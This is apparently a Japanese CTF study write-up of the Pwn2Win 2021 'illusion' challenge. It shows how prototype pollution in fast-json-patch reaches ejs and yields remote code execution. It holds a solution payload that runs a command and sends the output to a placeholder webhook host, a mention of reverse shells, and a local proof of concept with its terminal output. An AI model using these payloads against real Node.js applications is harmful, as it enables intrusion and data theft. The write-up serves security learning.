セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

Pwn2Win CTF 2021 illusion(prototype pollutionとか)

//

まえおき

復習用に書いているので、writeupが見たい方はこちらをご覧ください。基本的にここのものを参考にしています。

Pwn2Win CTF 2021 - Illusion · Issue #35 · aszx87410/ctf-writeups · GitHub

https://ctftime.org/writeup/28600

https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/

illusion

問題ページへは5分ごとにリセットされる環境を各個人に割り当てられる方式で、出題。他ユーザに影響がありそうなものなので、prototype汚染を使いそうだった。 ソースコード

const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')


const app = express()

// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

/////////////////

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

// Static folder
app.use("/static", express.static(__dirname + "/static"));

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  


解法は/change_statusに次のペイロードを投げる。

{
    "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhookhogehoge/.......?q=${flag}`);req.end();//"
}

もしくは、child_processのモジュールを呼び出して、リバースシェルを貼るなど。

ejsのprototype pollution

基本的なペイロードとして次のものがある。

Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";

これはejsrenderFileメソッド内で恐らくoutputFunctionNameが呼ばれるので、これにフックする形でペイロードを実行している。(はず)この辺りを参照するとそれっぽい気がします。

https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/の「AST injection in ejs」あたり

ejs/ejs.js at c594d0e099f564f22099f6b9cc4317b0fec7bfe8 · mde/ejs · GitHub


試してみる

const express = require('express')
const ejs = require('ejs')

const app = express()

app.get("/", async (req, res) => {
    Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pollutedfilename');x";
    const html = await ejs.renderFile("./index.ejs")
    res.end(html)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls
index.ejs  index.js  node_modules  package.json  package-lock.json
kali@kali:~/ctf/pwn2win/web1/illusion/src$ node index.js
App listening at port 1337

http://localhost:1337/にアクセス

^C
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls
index.ejs  index.js  node_modules  package.json  package-lock.json  pollutedfilename

touchが実行されてファイルが生成されています。

fast-json-patch

こちらのprototype汚染の情報はgithubのプルリクにあったようです。こういうのは見落とすの良くないですね。

Security Fix for Prototype Pollution - huntr.dev by huntr-helper · Pull Request #262 · Starcounter-Jack/JSON-Patch · GitHub